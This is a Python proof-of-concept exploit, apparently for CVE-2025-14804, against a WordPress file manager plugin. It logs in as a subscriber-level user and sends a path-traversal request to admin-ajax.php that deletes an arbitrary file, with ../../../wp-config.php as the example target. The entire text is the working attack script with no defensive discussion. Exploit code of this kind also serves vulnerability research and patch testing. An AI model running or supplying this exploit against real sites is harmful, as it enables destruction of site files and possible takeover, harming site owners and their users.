CVE-2025-14804

import requests import sys from urllib.parse import quote # CVE-2025-14804 PoC - Arbitrary File Deletion in Frontend File Manager Plugin # Requires authenticated user (subscriber role or higher) TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker" PASSWORD = "password" def get_auth_cookie(): """Authenticate and get WordPress session cookie""" login_url = f"{TARGET_URL}/wp-login.php" session = requests.Session() login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data, allow_redirects=False) if 'wordpress_logged_in' in str(session.cookies) or response.status_code == 302: return session.cookies return None def delete_arbitrary_file(cookies, file_path): """Send file deletion request with path traversal payload""" delete_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Path traversal payload to delete arbitrary file payload = { 'action': 'fmfm_delete_file', 'path': file_path } headers = { 'X-Requested-With': 'XMLHttpRequest' } response = requests.post(delete_url, data=payload, cookies=cookies, headers=headers) return response def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-14804-poc.py <file_to_delete>") print("Example: python cve-2025-14804-poc.py ../../../wp-config.php") sys.exit(1) target_file = sys.argv[1] print(f"[*] Authenticating as {USERNAME}...") cookies = get_auth_cookie() if not cookies: print("[-] Authentication failed!") sys.exit(1) print("[+] Authentication successful!") print(f"[*] Attempting to delete: {target_file}") response = delete_arbitrary_file(cookies, target_file) if response.status_code == 200: print("[+] File deletion request sent successfully") print(f"[*] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") if __name__ == "__main__": main()

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